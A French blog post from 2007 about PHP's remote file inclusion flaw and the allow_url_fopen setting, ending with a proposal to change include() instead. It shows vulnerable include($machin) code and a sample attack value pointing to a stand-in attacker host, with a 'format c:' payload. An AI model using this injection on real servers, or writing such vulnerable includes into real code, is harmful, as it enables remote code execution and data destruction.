lundi 20 août 2007

allow_url_fopen faille include


La fameuse faille include est superconnue, bien expliquée ;
en résumé on peut trouver dans certains codes
<?
//appelle le menu selon machin
include($machin);
//et blablabla
?>
ou plus subtilement include($basedir."/truk.php");

Si le hacker arrive à controler $machin (par l'url ou autre)
il peut mettre $machin="http://siteduhacker/f99.txt?"
et le contenu de f99.php sera <span style="font-weight: bold;">executé </span>(par exemple f99.txt=<?exec("format c:"?>)

Qu'en dit la presse ? elle dit "ah la la vous programmez comme des porcs,
vous pensez pas à la sécurité ! faites gaffes merde !"
dans la gueule du programmeur, qui n'a pas la tête à ça;
Partout ya des exemples de fonction include_file() au lieu d'include().

On se retourne alors contre l'hébergeur , l'hébergeur pour plus que ça arrive,
pour plus avoir de stro et d'hackers sur les machines (gasp), il cherche :
et php lui a fait un switch de config (pas deux) : <span style="font-weight: bold;">allow_url_fopen: Off</span>

Qu'est ce que ça fait ? ça empeche l'utilisation du wrapper http sur les fichiers.
cool. sauf qu'on ne peut plus faire include("http://filrss.com/fil.rss");
ah mais on ne peut plus faire fopen("http://filrss.com/fil.rss","r") ou file()
c'est con parce que file() c'est pas interprété ;
maintenant pour lire des fichiers sur le web on est obligé d'avoir curl d'activé
et de se taper une fonction à la con avec un kilo de doc :

function include_url($site)
{
ob_start();
$include_url_ch = curl_init();
curl_setopt ($include_url_ch, CURLOPT_URL, $site);
curl_exec ($include_url_ch);
curl_close ($include_url_ch);
$include_url=ob_get_contents();
ob_end_clean();
return($include_url);
}

depuis peu il existe "allow_url_include " mais ça ne sert qu'à <span style="font-weight: bold;">autoriser</span> l'include de http:// donc permettre des failles include. c'est naze (ou alors c'est bugué)

Moi je dis qu'il faut tout simplement que les include("http://....") ne soient pas exécutables,
(qu'il agisse comme print(implode("",file("http://...")));
au pire, un switch pour interdire tous les include("http://....");
mais qu'on laisse les file() et fopen tranquille, ça ferait avancer le webdeuxpointzéro.
donc ne pas agir sur le wrapper de fichier, mais sur la fonction include...

si quelqu'un connait du monde chez php et a le temps de lui en toucher un mot ....

Aucun commentaire: